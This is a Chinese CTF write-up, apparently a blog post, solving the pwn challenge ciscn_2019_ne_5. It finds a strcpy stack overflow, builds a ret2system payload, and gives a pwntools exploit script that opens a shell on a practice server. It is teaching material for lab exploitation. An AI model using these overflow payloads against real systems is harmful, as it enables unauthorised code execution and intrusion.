[PWN]ciscn_2019_ne_5

本文详细介绍了对CISCN 2019 NE 5文件的分析过程,通过检查文件信息和使用IDA Pro发现了一个栈溢出漏洞。通过构造特定payload,利用strcpy函数的溢出,覆盖返回地址,设置system函数地址和'/bin/sh'字符串地址,最终成功触发system(‘bin/sh’)执行,获取shell。文章展示了漏洞利用的完整步骤和exploit脚本。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ciscn_2019_ne_5

1.查看文件信息

checksec一下:32位文件,开启了NX保护

image-20221125211736065

尝试运行:

image-20221125212354428

2.IDA分析

在函数里面发现GetFlag函数,函数功能是将src字符串复制到dest中

image-20221126103510107

可以看到src读入的时候可以读入128位,在strcpy函数使用时可以造成栈溢出,覆盖返回地址

48+4 = 4c 个字符就可以构造到返回地址,

希望执行system(‘bin/sh’)函数来获取shell,需要system函数地址和’/bin/sh’字符串的地址

image-20221126105602553

在左侧函数菜单中发现system函数,得到地址:0x80484D0

image-20221126111010501

接下来查找’'/bin/sh’字符串地址,用ROPgadget搜索一下程序里的’/bin/sh’字符串的地址

ROPgadget --binary ciscn_2019_ne_5 --string ‘/bin/sh’

多次尝试,只能找到’sh’,一样可以使用:0x80482ea

由此,构造payload:

"1234"是执行system函数之前压入的返回地址

payload = ‘a’*(0x48+4)+p32(sys_add)+“1234”+p32(bin_sh)

3.构造exp脚本

from pwn import *
r = remote('node4.buuoj.cn',29486)
#context.log_level = 'debug'
sys_add = 0x80484D0
bin_sh = 0x080482ea
r.recvuntil('Please input admin password:')
r.sendline('administrator')
payload = 'a'*(0x48+4)+p32(sys_add)+"1234"+p32(bin_sh)
r.sendlineafter(':','1')
r.sendlineafter('info:',payload)
r.sendlineafter(':','4')
r.interactive()

成功得到flag

image-20221127162224292

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值